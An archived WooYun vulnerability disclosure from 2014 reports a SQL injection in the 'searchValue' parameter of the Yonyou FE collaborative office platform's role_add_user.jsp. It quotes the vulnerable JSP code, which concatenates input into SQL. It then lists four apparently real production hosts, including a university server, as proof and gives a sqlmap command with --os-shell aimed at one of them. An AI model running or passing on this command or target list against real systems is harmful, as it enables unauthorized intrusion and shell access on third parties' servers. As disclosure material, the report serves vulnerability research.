乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-05-26: 细节已通知厂商并且等待厂商处理中 2014-05-31: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-07-25: 细节向核心白帽子及相关领域专家公开 2014-08-04: 细节向普通白帽子公开 2014-08-14: 细节向实习白帽子公开 2014-08-21: 细节向公众公开
用友某系统存在通用SQL注入
用友FE协作办公平台最新版漏洞url:
/security/role_add_user.jsp?dept=1&roleid=2&searchValue=3
部分代码
<% // String searchValue=HtmlFormat.format(request.getParameter("searchValue"));//这个参数 String filter=""; Dao dao=(Dao)ResourceManage.getContext("basicDao"); FieldSet groupFs=dao.getFieldSetByFilter("SYS_GROUP","SG04='/'"); String groupName=groupFs.getString("SG03"); DataTable dataTable=null; if(!"".equals(roleId)){ if(!groupName.equals(dept)) filter=" and su00 not in (select su00 from user_role_v where sr03='"+dept+"' and sr00 = "+roleId+")" ; else filter=" su00 not in (select su00 from user_role_v where sr03='"+dept+"' and sr00 = "+roleId+")" ; } if(!"".equals(searchValue)){ filter=filter+" and (su02 like '%"+searchValue+"%' or SU01 like '%"+searchValue+"%')"; } if(!groupName.equals(dept)){ dataTable=dao.getDataTable("GROUP_USER_V"," sg03='"+dept+"'"+filter,"gu03"); } else{ dataTable=dao.getDataTable("SYS_USERS",filter,"SU03"); }%>
其中searchValue存在注入。证明:
http://oa.jiada.cc:9090/security/role_add_user.jsp?dept=1&roleid=2&searchValue=3
http://oa.shunhengli.com:9090/security/role_add_user.jsp?dept=1&roleid=2&searchValue=3
http://oa.nbsec.org:9090//security/role_add_user.jsp?dept=1&roleid=2&searchValue=3
http://oa.bnuz.edu.cn:8080//security/role_add_user.jsp?dept=1&roleid=2&searchValue=3
sqlmap -u "http://oa.bnuz.edu.cn:8080//security/role_add_user.jsp?dept=1&roleid=2&searchValue=3" -p searchValue --os-shell
危害等级:无影响厂商忽略
忽略时间:2014-08-21 11:04
暂无